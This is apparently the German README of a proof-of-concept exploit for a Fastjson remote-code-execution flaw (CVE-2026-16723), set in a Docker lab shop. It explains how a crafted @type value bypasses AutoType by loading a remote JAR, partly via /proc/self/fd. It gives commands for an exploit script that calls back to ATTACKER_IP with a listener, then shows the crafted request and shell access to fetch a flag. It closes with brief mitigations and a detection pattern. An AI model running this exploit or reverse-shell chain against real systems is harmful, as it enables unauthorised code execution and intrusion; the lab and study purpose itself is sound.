
PoC-Exploit für Fastjson RCE (CVE-2026-16723) mit automatisierter Erzeugung und Auslieferung von JAR-Payloads über manipuliertes JSON unter Umgehung der AutoType-Einschränkungen.
★ CVE-2026-16723 Fastjson @JSONType RCE PoC ★
CVE-2026-16723 ist eine Remote-Code-Execution-Schwachstelle (RCE) in Fastjson 1.x (1.2.68 – 1.2.83). Wenn Fastjson angreiferkontrolliertes JSON parst, wird ein präparierter
@type-Wert in eine Klassenressourcen-Suche innerhalb voncheckAutoTypeumgewandelt. In einem ausführbaren Spring-Boot-Fat-JAR löst der Klassenlader diesen Namen alsjar:http://-URL auf und ruft ein entferntes JAR ab (SSRF), lädt dann eine Klasse mit der@JSONType-Annotation, obwohl AutoType deaktiviert ist. Da ein modernes JDK / Tomcat den binären Namenjar:http://ablehnt, legt die zuverlässige Variante das JAR in den JVM-Cache ab und liest es überjar:file:/proc/self/fd/Nerneut ein, sodass die Klasse definiert wird und ihr statischer Initialisierer ausgeführt wird, was Codeausführung ermöglicht. AutoType bleibt deaktiviert und kein Classpath-Gadget ist erforderlich.
| Kategorie | Version |
|---|---|
| Verwundbar | Fastjson 1.2.68 ≤ Version ≤ 1.2.83 |
| Behoben | Migration zu Fastjson 2.x (keine behobene 1.x-Version) |
Das Laborziel ist ein öffentlicher Onlineshop (Northwind Store), dessen Such-API den Request-Body mit Fastjson bindet. Alles entspricht den Standardeinstellungen von Fastjson: SafeMode aus, AutoType aus, verpackt als Spring-Boot-Fat-JAR.
docker build -t cve-2026-16723 .
docker run -d --name cve-2026-16723 -p 8080:8080 cve-2026-16723
| Voraussetzung | Zustand in diesem Labor |
|---|---|
| Fastjson 1.2.68 – 1.2.83 | 1.2.83 |
| Ausführbares Spring-Boot-Fat-JAR | ja |
| Nicht authentifizierter JSON-Parse-Pfad | POST /api/products/search |
| SafeMode / AutoType | Standard (beide aus) |
Angreifer und Ziel laufen im selben Docker-Bridge-Netzwerk, sodass das Ziel den Angreifer als ausgehende Verbindung erreicht (es wird kein zusätzlicher Port veröffentlicht).
curl http://TARGET_IP:8080/api/health
curl -X POST http://TARGET_IP:8080/api/products/search \
-H 'Content-Type: application/json' -d '{"keyword":"keyboard"}'
exploit.py erstellt das Payload-JAR, stellt es bereit, startet einen Listener und gibt den Request-Body aus. Nur die Callback-Adresse ist erforderlich.
python3 attacker/exploit.py --lhost ATTACKER_IP --lport 4444
Fügen Sie den ausgegebenen Body in den Such-Endpunkt ein (Burp Repeater oder curl) und senden Sie ihn ab. Die Suchanfrage ist eine normale Funktion; nur ihr JSON-Body ist präpariert.
curl -X POST http://TARGET_IP:8080/api/products/search \
-H 'Content-Type: application/json' --data-binary @body.json
Der Code läuft mit dem Dienstkonto. Rufen Sie die Flag über die erhaltene Shell ab:
whoami
com.alibaba:fastjson:1.2.83_noneautotype ausführen-Dfastjson.parser.safeMode=true starten@type-Werte, die jar:http- oder jar:file-//proc/self/fd-Muster enthalten